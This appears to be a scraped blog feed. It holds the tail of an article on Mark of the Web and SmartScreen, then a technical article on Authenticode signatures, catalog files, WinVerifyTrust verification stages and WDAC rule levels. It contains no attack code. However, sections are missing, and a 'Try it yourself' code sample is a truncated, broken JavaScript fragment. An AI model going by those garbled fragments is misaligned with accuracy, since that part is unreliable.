<StudyGuide slug="mark-of-the-web-smartscreen-and-the-catalog-of-trust" keyTerms={[ { term: "Mark of the Web (MOTW)", definition: "Metadata recording the origin of a file Windows did not produce itself; lives as the NTFS Zone.Identifier alternate data stream containing an INI-style [ZoneTransfer] block." }, { term: "NTFS Alternate Data Stream (ADS)", definition: "An NTFS feature that lets a file carry multiple named secondary data streams. Addressed as filename:streamname:type. Survives Windows Explorer copies on NTFS but is lost on FAT/exFAT." }, { term: "URLZONE", definition: "Five-value enumeration from IE4 (1997): 0 Local Machine, 1 Intranet, 2 Trusted, 3 Internet, 4 Untrusted. Every later Windows trust signal resolves a file to one of these integers." }, { term: "Attachment Execution Service", definition: "XP SP2 OS service that intercepts file launches from registered trust-aware callers and applies per-zone policy via the Shell COM IAttachmentExecute interface." }, { term: "SmartScreen Application Reputation", definition: "Cloud-backed file-and-publisher reputation oracle that shipped with IE9 (2010) and integrated into the Windows Shell with Windows 8 (2012). Two-stage UX: modal block, then 'More info -> Run anyway'." }, { term: "Authenticode catalog file (.cat)", definition: "PKCS#7 SignedData container holding a list of file hashes plus per-member attributes. A single signature vouches for all members. Lives under %SystemRoot%\\System32\\CatRoot, managed by cryptsvc." }, { term: "Smart App Control (SAC)", definition: "Windows 11 22H2+ execution-control feature. Structurally a WDAC AllowAll policy minus an ISG-driven blocklist. Clean-install-only; runs in Off, Evaluation, or Enforcement mode." }, { term: "Intelligent Security Graph (ISG)", definition: "Microsoft's cloud-side reputation backend. Consumed by SmartScreen, by WDAC via policy rule option 14, and by Smart App Control. 24-hour cloud refresh cadence. Positive verdicts cached as the $KERNEL.SMARTLOCKER.ORIGINCLAIM EA." }, { term: "Notarization (macOS)", definition: "Apple's mandatory server-side malware scan for non-App-Store distribution on macOS Catalina (2019) and later. Produces a stapleable ticket that lets Gatekeeper run fail-closed by default." } ]} questions={[ { q: "Why was the 1999 HTML-comment form of MOTW abandoned?", a: "It was in-band (any text processor could strip it), format-specific (only worked for HTML, but executables and archives were the dominant attack vector by 2002), and consumer-specific (only IE knew to look for it). The XP SP2 NTFS-ADS move solved all three." }, { q: "What is the propagation contract for MOTW?", a: "Every code path that copies, extracts, mounts, or saves a marked file must re-write the Zone.Identifier stream onto the destination. Bypasses in 2022-2024 (ISO mount, ZIP extraction, shortcut chains, LNK canonicalisation) are propagator failures." }, { q: "How does WinVerifyTrust handle a file with no embedded Authenticode signature?", a: "It falls through to a catalog lookup: hash the file with CryptCATAdminCalcHashFromFileHandle, enumerate catalogs with CryptCATAdminEnumCatalogFromHash, and if a match is found, re-verify the catalog's PKCS#7 signature. This is how in-box Windows binaries like cmd.exe verify as Microsoft-signed." }, { q: "What is the structural difference between CVE-2022-44698 and CVE-2023-36025?", a: "CVE-2022-44698 was a parser fail-open in the SmartScreen lookup (malformed Authenticode crashed the parser; the caller treated the error as no-warning-needed). CVE-2023-36025 was a different class: the .url handler chose not to invoke SmartScreen at all for certain target types, even though MOTW was present." }, { q: "Why does Smart App Control silently disable itself on some devices?", a: "If telemetry indicates the user runs many unrecognized apps in Evaluation mode, SAC switches off rather than auto-promoting to Enforcement, on the rationale that an Enforcement gate would create more friction than the user would tolerate. Microsoft documents the behaviour but not the threshold." } ]} />

The catalog of trust is not finished. As long as Windows ships propagators -- and any general-purpose OS will -- there will be propagator bugs, and the bypass class will continue to be data-flow-ordering, parser fail-open, and canonicalisation. The interesting question is not whether a new bypass will land. It will. The interesting question is whether Microsoft can move from per-CVE patching to enforcing the three-layer contract structurally, so the bypass class shrinks rather than rotates. Smart App Control Enforcement is one bet on how to do that. The propagation hardening of 2022-2024 is another. The next decade of Windows file trust is whether either of them finishes the work the 2004 Attachment Execution Service started: deciding, with confidence, whether it is safe to run this file.

Authenticode and Catalog Files: The Crypto Foundation Under WDAC

noreply@paragmali.com (Parag Mali) — Tue, 12 May 2026 00:00:00 GMT

Every Windows trust decision -- UAC, SmartScreen, App Control for Business (WDAC), and kernel-mode driver loading -- bottoms out on the same PKCS#7 / CMS `SignedData` envelope that Microsoft shipped with Internet Explorer 3 in August 1996. This article dissects that envelope byte by byte: the `WIN_CERTIFICATE` record inside the PE certificate table, the `SpcIndirectDataContent` attribute that signs a hash rather than a file (which is what makes catalog signing and per-page hashing possible), the RFC 3161 timestamp tokens that keep 2010 signatures verifying in 2026, and the `Microsoft Code Verification Root` kernel chain. We follow the named incidents that drove every post-2010 retrenchment -- Stuxnet, Flame, CVE-2013-3900, ShadowHammer, the 2022 Vulnerable Driver Blocklist, the 2026 Bitwarden CLI npm hijack -- and finish at the WDAC rule levels (`Publisher`, `FilePublisher`, `WHQL`) that finally surface those primitives to administrators as policy.

1. The verified-publisher question

On 17 June 2010, Sergey Ulasen and his colleagues at VirusBlokAda in Minsk began circulating a sample of a worm that would, a month later, be named Stuxnet [@wiki-stuxnet][@stuxnet-dossier]. Two of its kernel-mode components, mrxcls.sys and mrxnet.sys, were signed -- properly, by Authenticode-conformant certificates issued to Realtek Semiconductor Corp. and shortly afterwards by JMicron Technology Corp. [@stuxnet-dossier][@archive-stuxnet-dossier-details]. The Windows kernel loaded them because the certificate chains validated. The chains validated because, cryptographically, nothing was wrong.

That sentence is the lens for everything in this article. Microsoft's code-identity system did its job exactly as designed, and a piece of state-grade sabotage walked through it. The next forty minutes of reading reconstruct what the kernel checks before loading a driver, why those checks could not have caught Stuxnet, and what Microsoft layered on top during the next fourteen years so that the next stolen Realtek private key has less reach.

Where Authenticode shows up

Most Windows users meet Authenticode without realising it. The User Account Control dialog that says "Verified publisher: Microsoft Windows" instead of "Publisher: Unknown" is the user-visible end of a long cryptographic chain that bottoms out in a PKCS#7 / CMS SignedData envelope wrapped inside a WIN_CERTIFICATE record at the end of the PE file [@mslearn-authenticode-driver][@mslearn-pe-format]. The same plumbing is queried by SmartScreen, by App Control for Business (the 2024 rename of Windows Defender Application Control) [@mslearn-appcontrol-root], by ci.dll at kernel-driver load [@mslearn-kmcs-policy], and by Windows Update during servicing. They all read the same bytes in the certificate table; the verdicts differ only in which fields they consult and which policy they overlay.

flowchart TD SD["PKCS#7 / CMS SignedData
(inside WIN_CERTIFICATE)"] UAC["UAC
'Verified publisher'"] SS["SmartScreen
reputation lookup"] WDAC["App Control for Business (WDAC)
rule evaluation"] KMCS["ci.dll / KMCS
kernel-driver load"] SD --> UAC SD --> SS SD --> WDAC SD --> KMCS

Key idea: Every Windows trust statement -- UAC, SmartScreen, App Control for Business, kernel-mode driver loading -- is a query against the same small set of structures inside the PE certificate table. Once you can read those structures, you can predict every later trust decision the OS makes.

What you will be able to do by the end of this article

By the end of section 7 you should be able to decode every line of signtool verify /v /pa /all output and explain, in one paragraph, why Stuxnet still loaded under a fully patched Windows 7 kernel. By the end of section 11 you should be able to run certutil -CatDB, New-CIPolicyRule -FilePath ... -Level FilePublisher, and certutil -hashfile and explain what every byte of their output corresponds to in the on-disk structure.

Stuxnet's kernel components loaded because the chain validated. The chain validated because, cryptographically, nothing was wrong. To understand why that sentence is true -- and what Microsoft has done in the fourteen years since to keep the next stolen Realtek certificate from getting as far -- we have to start in August 1996.

2. 1996: PKCS#7, ActiveX, and the original sin of downloadable code

Counterintuitively, Authenticode was not invented to sign Windows binaries. It was invented to sign downloadable web payloads.

On 7 August 1996, Microsoft and VeriSign jointly announced what their press release called "the first technology for secure downloading of software over the Internet" [@press-pass-1996]. The release introduces Authenticode as a feature of Internet Explorer 3 beta 2, names Hank Vigil ("general manager of the electronic commerce group at Microsoft") and Stratton Sclavos ("president and CEO" of VeriSign), and explicitly anchors the design in open standards: "Authenticode and VeriSign's Digital ID service support Internet standards, including the X.509 certificate format and PKCS #7 signature blocks" [@press-pass-1996]. Six days later, on 13 August 1996, Internet Explorer 3 itself shipped as RTM for Microsoft Windows [@wiki-ie3].

The original motivating problem was ActiveX. An ActiveX control was a downloadable COM binary that the browser would load in-process; without a signature, the browser had no idea who built it. The April 1996 W3C submission that preceded Authenticode is described in the press release as a "code-signing proposal supported by more than 40 companies" [@press-pass-1996]The 40+ company W3C signatory list is the institutional fact that made third-party CA participation possible from day one and seeded the modern multi-vendor code-signing economy. None of the architectural decisions that followed -- catalog signing, RFC 3161 timestamping, EV certificates -- would have been viable inside a single-vendor PKI.. Anchoring the design in X.509 and PKCS#7 instead of inventing a Microsoft-only signature format is the choice that made everything afterwards possible.

PKCS#7 was already there

By 1996, the envelope part of the design was solved. RSA Laboratories had published PKCS #7 v1.5 in November 1993 as part of the Public-Key Cryptography Standards series [@rfc-2315]; in March 1998 the IETF republished it verbatim as RFC 2315, "Cryptographic Message Syntax Version 1.5," authored by Burt Kaliski [@rfc-2315]. The same envelope evolved further: the IETF rebranded it as Cryptographic Message Syntax (CMS) and shipped progressively richer versions through RFCs 2630 (1999), 3369 (2002), 3852 (2004), and 5652 (2009) [@rfc-5652]. Modern Authenticode parsers consume the CMS dialect, but the on-disk envelope structure has barely moved in thirty years.

The ASN.1 envelope -- originally PKCS#7 v1.5 (Kaliski, 1993; republished as RFC 2315 in 1998), now generalised as CMS in RFC 5652 -- that carries the signature, signed and unsigned attributes, and the chain of X.509 certificates inside the Authenticode certificate-table entry [@rfc-5652].

Authenticode is, in one sentence, "PKCS#7 SignedData carrying a Microsoft-defined content type that hashes the PE file in a specific repeatable way" [@authenticode-pe-docx]. The asymmetric signature inside that envelope is RSA, the public-key system Rivest, Shamir, and Adleman published in 1978 [@rsa-1978], built on the Diffie-Hellman digital-signature concept introduced in 1976 [@diffie-hellman-1976]. None of that primitive cryptography has changed since. Everything that has changed sits around the envelope: the algorithms it carries, the catalog store that lets Microsoft sign tens of thousands of files at once, the timestamp tokens that pin a signing moment in time.

flowchart LR DH["Diffie-Hellman (1976)
digital-signature concept"] --> RSA["RSA (1978)"] RSA --> P7["PKCS#7 v1.5
(RSA Labs, 1993)"] P7 --> R2315["RFC 2315 (1998)"] R2315 --> R2630["RFC 2630 (1999)"] R2630 --> R3369["RFC 3369 (2002)"] R3369 --> R3852["RFC 3852 (2004)"] R3852 --> R5652["RFC 5652 / CMS
(2009)"] P7 --> AC["Authenticode
(IE3, August 1996)"] AC --> WC["WIN_CERTIFICATE
in modern PE"]

From one click to four trust decisions

The original UX of Authenticode in IE 3 was a modal trust prompt. The user saw a dialog ("Do you want to install and run [name] signed and distributed by [publisher]?") and clicked Yes or No. The signature was checked once, and that was the entire trust decision. By 2026, the same SignedData envelope feeds at least four entirely different trust subsystems -- UAC, SmartScreen, App Control for Business, kernel-mode code integrity -- and most of the time the user clicks nothing at all.

That layering is what the rest of this article is about. Thirty years on, the on-disk bytes have barely changed. The certificate table at the end of every signed Windows binary still carries a PKCS#7 SignedData envelope, and at the head of that envelope is the same content type -- SpcIndirectDataContent -- Microsoft defined in 1996. What has changed is everything around it: the algorithms inside the envelope, the catalog store, the timestamp tokens, the WDAC policy layer on top. Let's open the envelope and look.

3. Anatomy on disk: WIN_CERTIFICATE, PKCS#7 SignedData, SpcIndirectDataContent

Where does the signature actually live in a signed .exe? Most engineers can guess "the end of the file." Fewer can name the data directory entry, fewer still the wrapper structure, and almost nobody volunteers the exact ASN.1 content type. Four nesting levels matter. Walk them in order and the whole rest of the architecture starts making sense.

Level 1: the PE certificate table

The PE optional header carries a DataDirectory[16] array. Entry index 4, IMAGE_DIRECTORY_ENTRY_SECURITY, points at the certificate table -- an offset and size into the file [@mslearn-pe-format]. Unlike every other data directory entry, the certificate table is the only one whose offset is a file offset, not a relative virtual address; the certificate table is never mapped into memory at load time.

Inside that offset+size region is a sequence of WIN_CERTIFICATE records, each laid out as:

typedef struct _WIN_CERTIFICATE {
    DWORD       dwLength;           // total length of this record, including header
    WORD        wRevision;           // WIN_CERT_REVISION_2_0
    WORD        wCertificateType;    // WIN_CERT_TYPE_PKCS_SIGNED_DATA
    BYTE        bCertificate[ANYSIZE_ARRAY];  // the DER-encoded blob
} WIN_CERTIFICATE;

For Authenticode-signed Windows binaries, wCertificateType == WIN_CERT_TYPE_PKCS_SIGNED_DATA (constant value 0x0002), and bCertificate[] is a DER-encoded CMS / PKCS#7 SignedData blob [@authenticode-pe-docx]. Multiple WIN_CERTIFICATE records are legal; this is how a single binary can carry both a SHA-1 (legacy) and a SHA-256 (modern) signature, or a dual-signed binary carrying both a primary and a nested secondary embedded signature (via the unsignedAttrs nested-signature mechanism).

The PE certificate-table record (`dwLength`, `wRevision`, `wCertificateType`, `bCertificate[]`) that wraps a single attribute certificate inside a PE. For Authenticode signatures, `wCertificateType` is `WIN_CERT_TYPE_PKCS_SIGNED_DATA` and `bCertificate` holds a DER-encoded CMS / PKCS#7 SignedData blob [@authenticode-pe-docx][@mslearn-pe-format].

Level 2: the CMS SignedData envelope

Decoding bCertificate produces an ASN.1 SEQUENCE describing a CMS ContentInfo whose content type is signedData (OID 1.2.840.113549.1.7.2). Inside that is the SignedData structure proper [@rfc-5652]:

version -- an integer, typically 1 or 3.
digestAlgorithms -- the set of hash algorithms used by any signer (commonly sha256).
encapContentInfo -- the content the signers are signing over. This is the field that matters.
certificates -- the X.509 chain certificates needed to validate the signers.
crls -- optional, almost never populated inline.
signerInfos -- one or more SignerInfo structures, each with the actual signature bytes plus signed and unsigned attributes.

Each SignerInfo carries the signing certificate identifier, a set of signedAttrs (whose digest is what gets signed), an encryptedDigest (the actual signature bytes), and a set of unsignedAttrs. The single most important unsigned attribute, in practice, is the RFC 3161 TimeStampToken -- the counter-signature that pegs the signing event to a moment in time. We will come back to that in section 5.

Level 3: SpcIndirectDataContent

The encapContentInfo.eContentType for Authenticode is 1.3.6.1.4.1.311.2.1.4 -- the OID Microsoft registered for SpcIndirectDataContent. Inside, the eContent is a Microsoft-specific ASN.1 structure [@authenticode-pe-docx]:

SpcIndirectDataContent ::= SEQUENCE {
    data        SpcAttributeTypeAndOptionalValue,
    messageDigest DigestInfo
}

SpcAttributeTypeAndOptionalValue ::= SEQUENCE {
    type   OBJECT IDENTIFIER,   -- 1.3.6.1.4.1.311.2.1.15 for PE images
    value  [0] EXPLICIT ANY DEFINED BY type OPTIONAL
}

DigestInfo ::= SEQUENCE {
    digestAlgorithm AlgorithmIdentifier,
    digest          OCTET STRING
}

For a PE binary, data.type is 1.3.6.1.4.1.311.2.1.15 (SPC_PE_IMAGE_DATAOBJ) and data.value carries a SpcPeImageData structure describing what kind of image this is (32-bit, 64-bit, importable, executable). The messageDigest.digest is the Authenticode hash of the PE file [@authenticode-pe-docx]. That hash is not SHA-256 over the file bytes.

Microsoft's `eContentType` registered under OID `1.3.6.1.4.1.311.2.1.4`. Its `messageDigest` field holds the Authenticode hash of the signed artefact, and its `data` field describes what kind of artefact it is (PE image, MSI, script). The fact that this structure signs *a hash* rather than a file is what makes catalog signing possible [@authenticode-pe-docx].

Level 4: the Authenticode hash and its four exclusions

The Authenticode hash is computed over the PE file with four specific byte ranges excluded [@authenticode-pe-docx]:

Excluded region	Why excluded	Spec reference
`OptionalHeader.CheckSum` (4 bytes)	The OS recomputes the optional-header checksum when servicing; signing over it would make every signature invalidate at first patch.	`Authenticode_PE.docx` §3.1 [@authenticode-pe-docx]
`DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]` (8 bytes)	The pointer to the certificate table itself moves when a signature is added; signing over the pointer is a chicken-and-egg loop.	`Authenticode_PE.docx` §3.1 [@authenticode-pe-docx]
The certificate-table bytes themselves	Same chicken-and-egg loop -- the signature cannot sign itself.	`Authenticode_PE.docx` §3.1 [@authenticode-pe-docx]
File-alignment padding after each section	Padding can be different on different builds for harmless reasons (alignment, build-tool quirks); signing over it would punish those harmless differences.	`Authenticode_PE.docx` §3.1 [@authenticode-pe-docx]

The PE digest computed over the file with four regions excluded: the optional-header `CheckSum` field, the `IMAGE_DIRECTORY_ENTRY_SECURITY` data-directory entry, the certificate-table bytes themselves, and the file-alignment padding after each section. Because the excluded regions include the certificate-table area, the same hash remains valid after the signature is appended [@authenticode-pe-docx].

The exclusion of the certificate-table bytes is the design move that makes the whole architecture work. The Authenticode hash is computed first, signed, and then the signature is appended into the very region the hash excluded. After appending, the hash is still valid; verifying simply recomputes the hash with the same four regions excluded and compares.ASN.1 DER's tag-length-value shape means that, given enough patience, you can decode every level of the certificate table with nothing but a hex dump. This accessibility is also why parser bugs are particularly damaging: a verifier that re-encodes or normalises before hashing can be tricked into hashing different bytes than the bytes that get loaded -- the structural failure mode at the bottom of CVE-2013-3900 [@nvd-cve-2013-3900].

A separate, smaller hash per 4 KiB page

Authenticode supports an optional signed attribute, SpcPeImagePageHashes2, with OID 1.3.6.1.4.1.311.2.3.2 (SHA-256). It carries a sequence of (RVA, hash) pairs, one hash per 4 KiB page of the PE image [@authenticode-pe-docx]. The older 1.3.6.1.4.1.311.2.3.1 SHA-1 variant is effectively deprecated. Under Hypervisor-Protected Code Integrity (HVCI), the page hashes are validated at demand-fault time: when the OS faults in a page from disk, HVCI hashes the page and compares it to the signed page-hash entry before mapping the page as executable. Whole-file integrity checking at load is not the same as runtime integrity checking at fault; page hashes are what closes that gap.ARM64 Windows configurations have used 4 KiB native pages on the systems that ship Authenticode page-hash enforcement to date. The page-hash attribute encodes RVAs into the on-disk image, so any future move to 16 KiB or 64 KiB page granularity would require a corresponding spec revision.

An optional signed attribute (OID `1.3.6.1.4.1.311.2.3.2` for SHA-256) carrying a sequence of `(RVA, SHA-256)` pairs, one per 4 KiB page of the PE image. The hashes are checked at demand-fault time by HVCI / Code Integrity, not just at load time [@authenticode-pe-docx].

The whole nest, in one picture

flowchart TD PE["PE file on disk"] OH["Optional header"] DD["DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY] (entry 4)"] WC["WIN_CERTIFICATE record
(dwLength, wRevision, wCertificateType, bCertificate[])"] SD["PKCS#7 / CMS SignedData"] Certs["certificates: X.509 chain"] SI["SignerInfo"] Sa["signedAttrs"] SIDC["encapContentInfo: SpcIndirectDataContent"] SPI["data: SpcPeImageData (SPC_PE_IMAGE_DATAOBJ)"] MD["messageDigest: Authenticode hash"] PH["SpcPeImagePageHashes2 (optional)"] ED["encryptedDigest: signature bytes"] Ua["unsignedAttrs"] TST["RFC 3161 TimeStampToken
(OID 1.2.840.113549.1.9.16.2.14)"] PE --> OH OH --> DD DD --> WC WC --> SD SD --> Certs SD --> SI SI --> Sa Sa --> SIDC SIDC --> SPI SIDC --> MD SIDC --> PH SI --> ED SI --> Ua Ua --> TST

Try it yourself

Decode the four nesting levels of an Authenticode signature. Requires: pip install pefile asn1crypto

const catalogSignedInboxFile = { Path: "C:\\Windows\\System32\\ntoskrnl.exe", // PowerShell: (Get-AuthenticodeSignature ntoskrnl.exe).SignatureType -> Catalog SignatureType: "Catalog", Status: "Valid", CatalogFile: "C:\\Windows\\System32\\CatRoot\\{F750E6C3-...}\\Microsoft-Windows-Client-Drivers-Package~~31bf3856ad364e35~~amd64~~10.0.x.y.cat", SignerCertificate: { Subject: "CN=Microsoft Windows Production PCA 2011, ..." } };

console.log("Embedded signature:", embeddedSignedBinary.SignatureType, embeddedSignedBinary.CatalogFile); console.log("Catalog signature: ", catalogSignedInboxFile.SignatureType, catalogSignedInboxFile.CatalogFile); `}

Once you can sign a hash instead of a file, and once you can pin a signing event to a moment in time that outlives the certificate, the rest of the architecture stops being a sequence of crypto choices and starts being a sequence of policy choices: which roots do we trust for ring 0, which file-publisher tuples does this enterprise authorise, which drivers does Microsoft deny by hash? To see those policy choices in operation, watch a single WinVerifyTrust call end to end.

6. A modern WinVerifyTrust call, end to end

A user double-clicks a Microsoft-signed .exe on Windows 11 24H2. HVCI is on, Smart App Control is on, an enterprise App Control policy is loaded. The shell calls ShellExecute. Before the OS hands control to the new process, the kernel's code-integrity stack (ci.dll) and user-mode WinVerifyTrust between them answer the question "is this binary trusted?" in roughly the following seven stages.

Stage 1: read the certificate table

ci.dll reads the optional header, finds DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY], walks the certificate-table region, and enumerates the WIN_CERTIFICATE records. Multiple records may be present (e.g. a SHA-1 record for compatibility with Windows 7 verifiers, and a SHA-256 record for modern ones); the verifier picks the strongest record whose algorithm is allowed by current policy [@authenticode-pe-docx][@mslearn-pe-format].

Stage 2: decode the SignedData

For each candidate record with wCertificateType == WIN_CERT_TYPE_PKCS_SIGNED_DATA, the verifier DER-decodes bCertificate into a CMS ContentInfo, then into a SignedData structure [@rfc-5652]. The verifier reads signerInfos, picks the signer (usually one), and extracts the signed and unsigned attributes.

Stage 3: verify the content type

The verifier confirms encapContentInfo.eContentType == 1.3.6.1.4.1.311.2.1.4 (SpcIndirectDataContent), then decodes the inner structure and confirms data.type == 1.3.6.1.4.1.311.2.1.15 (SPC_PE_IMAGE_DATAOBJ) [@authenticode-pe-docx]. The inner messageDigest is the Authenticode hash this signature claims to cover; the digestAlgorithm says how it was computed.

Stage 4: recompute the Authenticode hash

The verifier re-reads the PE file bytes, applies the four exclusions (CheckSum, the SECURITY data-directory entry, the certificate-table bytes, and section-padding), hashes the remaining bytes with the claimed algorithm, and compares to SpcIndirectDataContent.messageDigest [@authenticode-pe-docx]. If they differ, the signature is rejected.

Stage 5: validate page hashes under HVCI

If SpcPeImagePageHashes2 is attached and the running policy includes HVCI, the page-hash table is preserved across the verification call and consulted later by the secure kernel at demand-fault time [@authenticode-pe-docx]. The full-file Authenticode hash check is necessary but not sufficient for runtime integrity; pages on disk can be tampered after load by a kernel-level attacker who bypasses file-system protections. Page hashes are what closes that gap by re-checking each page at the moment it is mapped executable.

Stage 6: build the chain

The verifier collects the certificates SET from the SignedData, plus any AIA-fetched certificates needed to complete the chain, and tries to terminate the path at a trusted root. For kernel-mode loads, the legacy anchor is the Microsoft Code Verification Root; for portal-signed drivers, the chain may instead terminate at one of the Microsoft Root Authority anchors. The KMCS policy page describes the Windows 10 1607+ kernel-mode anchors verbatim: "Microsoft Root Authority 2010, Microsoft Root Certificate Authority, Microsoft Root Authority" with Secure Boot on [@mslearn-kmcs-policy]. For user-mode loads, the chain may terminate at any root in the system Trusted Root store; the enterprise's App Control policy narrows the trust further by referencing specific anchors at the RootCertificate / PcaCertificate rule level [@mslearn-select-types-of-rules].

The CryptoAPI function (`wintrust.dll!WinVerifyTrust`) that orchestrates the Authenticode verification pipeline: certificate-table read, SignedData decode, content-type check, Authenticode-hash recomputation, optional page-hash association, chain build, catalog fallback for unsigned PEs, and timestamp validation. It returns a success or specific error code; the caller (UAC, SmartScreen, `ci.dll`, WDAC) interprets the result against its own policy. The Windows kernel-mode component that enforces the Kernel-Mode Code Signing policy on driver loads (Vista x64 and later [@wiki-kernel-patch-protection][@mslearn-kmcs-policy]) and, under HVCI, evaluates page hashes at fault time. `ci.dll` is the kernel-side caller of `WinVerifyTrust` semantics for driver loads. The historical kernel-mode trust anchor whose name appears in Microsoft's KMCS documentation and whose intermediate cross-signed third-party code-signing CAs for pre-July-2015 drivers [@mslearn-kmcs-policy]. Microsoft Learn does not publish a single canonical page with the root's SHA-1 / SHA-256 thumbprint, validity dates, or issuance year; in practice the thumbprint is read by running `certutil -store` on a recent Windows system.

The Microsoft Code Verification Root metadata absence is real: although the root is named in the KMCS policy document [@mslearn-kmcs-policy], no Microsoft Learn URL publishes its thumbprint or validity dates on a stable page. Practitioners should reference the root by name in policy and treat the actual thumbprint as something to be enumerated via certutil -store on the running system rather than copy-pasted from a published document.

Stage 7: catalog fallback for unsigned PEs

If the PE has no embedded signature, the verifier computes the Authenticode hash and queries CryptSvc: is this hash a member of any installed catalog under %SystemRoot%\System32\CatRoot\? If yes, the verifier uses the catalog's signer as the effective signer for the PE [@mslearn-catalog-files][@mslearn-authenticode-driver]. Cross-system files installed by Windows Update (most drivers, most inbox executables) take this path.

Stage 8: validate the RFC 3161 timestamp

If the unsigned attributes carry a TimeStampToken (OID 1.2.840.113549.1.9.16.2.14), the verifier decodes it, validates the TSA's chain, extracts genTime, and confirms the signing certificate was valid at genTime [@rfc-3161]. This is how a 2010 signature still verifies in 2026: not because the 2010 certificate is still valid, but because a TSA attested at signing time that the signature existed when the certificate was valid.

Stage 9: WDAC policy evaluation

With cryptographic verdicts in hand, the App Control policy engine evaluates the file against the active policy: does any allow rule match, does any deny rule match, including the default-on Vulnerable Driver Blocklist supplemental deny [@mslearn-recommended-driver-block-rules]? The matching rule -- by Hash, FileName, Publisher, FilePublisher, WHQL, WHQLPublisher, WHQLFilePublisher, LeafCertificate, PcaCertificate, or RootCertificate level [@mslearn-select-types-of-rules] -- decides the final outcome. Audit-mode hits produce event ID 3076; enforcement-mode blocks produce event ID 3077 [@mslearn-event-id-explanations].

Stage 10: legacy parser hardening, if opted in

A hardened environment will also have EnableCertPaddingCheck=1 set [@nvd-cve-2013-3900], enabling the strict parser that rejects the CVE-2013-3900 appended-data form. CISA added the CVE to its Known Exploited Vulnerabilities catalogue on 10 January 2022 with a federal due date of 10 July 2022 [@nvd-cve-2013-3900]; environments subject to federal compliance regimes treat this as mandatory.For practitioners: the registry key needs to be set in both HKLM\Software\Microsoft\Cryptography\Wintrust\Config and the matching Wow6432Node path, because the 32-bit and 64-bit WinVerifyTrust code paths read separate copies. Setting only one and rebooting is one of the more common configuration mistakes in hardened-baseline rollouts.

flowchart TD Start["ShellExecute / driver load"] CT["Read PE certificate table"] Decode["Decode WIN_CERTIFICATE -> CMS SignedData"] OID{"eContentType =
SpcIndirectDataContent?"} Hash["Recompute Authenticode hash"] HashOK{"Hash matches
messageDigest?"} Chain["Build certificate chain"] Cat["Catalog fallback?
(if PE unsigned)"] TS["Validate RFC 3161 token"] PHash["Associate SpcPeImagePageHashes2
(HVCI fault-time check)"] Pol["WDAC policy evaluation"] EPC["EnableCertPaddingCheck
strict parser (if opt-in)"] Done["LOAD or DENY"] Start --> CT --> Decode --> OID OID -->|yes| Hash OID -->|no| Done Hash --> HashOK HashOK -->|yes| Chain HashOK -->|no| Done Chain --> Cat --> TS --> PHash --> EPC --> Pol --> Done

Note: There is no separate certificate table per trust subsystem. UAC, SmartScreen, ci.dll, WDAC, and the catalog-fallback path all read the same bytes inside the same WIN_CERTIFICATE record. What differs is which fields each consumer cares about and what policy each consumer overlays on top. Once you read the on-disk structures, every later trust decision is predictable.

`WinVerifyTrust` does not execute the binary. It does not appraise behaviour or reputation -- that is SmartScreen's job, downstream. It does not verify runtime page integrity -- HVCI does, in the secure kernel, at demand-fault time. It does not enforce the App Control policy -- the policy engine does, downstream. It does not check OCSP unless the caller opts in; chain-revocation behaviour is governed by `WinVerifyTrust` flags supplied by the caller. The function answers only the narrow cryptographic question: does the SignedData blob parse, does the recomputed hash match, does the chain build, and (if a token is attached) did the signing event happen inside the signing certificate's validity window?

By the seventh stage of this pipeline, the answer to "is this binary trusted?" is no longer a yes-or-no statement about cryptography. It is a composite of cryptographic verdicts (signature integrity, hash match, chain build, timestamp validity, page hashes) and policy verdicts (allowed by WDAC, not on the blocklist). Authenticode supplies the inputs to a policy; WDAC writes the policy. Let us look at the policy language.

7. WDAC rule levels: Authenticode as policy input, not policy itself

App Control for Business (WDAC) is where the Authenticode primitives finally surface to administrators as policy. The SignerInfo, the subject CN of the leaf certificate, the file's OriginalFileName and ProductVersion from the version resource, the page-hash table, even the choice of catalog signer -- all of them become inputs to a small rule language.

Rule levels: what Authenticode field each level consults

The verbatim rule-level catalogue from Microsoft Learn is [@mslearn-select-types-of-rules]:

Rule level	Authenticode field(s) consulted	Example use case
`Hash`	Authenticode hash of the file	Pinning a single binary by exact bytes; brittle across patches.
`FileName`	`OriginalFileName` from the PE version resource	Convenience for inbox files; not cryptographic.
`FilePath`	Filesystem path	UNC or absolute path; not cryptographic. Use sparingly.
`SignedVersion`	Publisher + `OriginalFileName` + version range	Allow a publisher's binary at a given version or higher.
`Publisher`	Issuing CA + leaf-cert subject CN	Allow anything signed by a given vendor under a given CA.
`FilePublisher`	Publisher + `OriginalFileName` + minimum `FileVersion`	Allow a specific binary from a specific vendor at min version.
`WHQL`	The Windows Hardware Quality Labs EKU	Allow any WHQL-signed driver.
`WHQLPublisher`	WHQL EKU + leaf-cert subject CN	Allow WHQL drivers from a specific OEM.
`WHQLFilePublisher`	WHQL EKU + `OriginalFileName` + min `FileVersion`	The strictest driver rule.
`LeafCertificate`	Leaf cert subject + issuer	Pin to a specific signing cert.
`PcaCertificate`	The PCA (intermediate) cert	Useful for "anything Microsoft-signed" without enumerating leaves.
`RootCertificate`	The root anchor	Broadest; usually too coarse.

Policy options

App Control policies are XML documents with a <Rules> section that toggles broad behavioural options [@mslearn-select-types-of-rules]:

0 Enabled:UMCI -- "App Control policies restrict both kernel-mode and user-mode binaries. By default, only kernel-mode binaries are restricted. Enabling this rule option validates user mode executables and scripts" [@mslearn-select-types-of-rules].
2 Required:WHQL -- "By default, kernel drivers that aren't Windows Hardware Quality Labs (WHQL) signed are allowed to run. Enabling this rule requires that every driver is WHQL signed and removes legacy driver support" [@mslearn-select-types-of-rules].
8 Required:EV Signers -- documented but, per the same Microsoft Learn page, "This option isn't currently supported."The Required:EV Signers option is in every published rule-options table but never makes it past parsing today. The EV requirement is enforced contractually via the Hardware Developer Center submission gate, not via the rule option. Treat it as documentation of intent rather than runtime enforcement.

The Vulnerable Driver Blocklist is shipped as a supplemental deny policy that overlays the user's primary policy. From Windows 11 22H2 onward it is default-on and automatically enforced under HVCI, Smart App Control, or S Mode [@mslearn-recommended-driver-block-rules]. Updates arrive quarterly. The blocklist is deliberately conservative: Microsoft's own documentation acknowledges "It's often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions" [@mslearn-recommended-driver-block-rules].

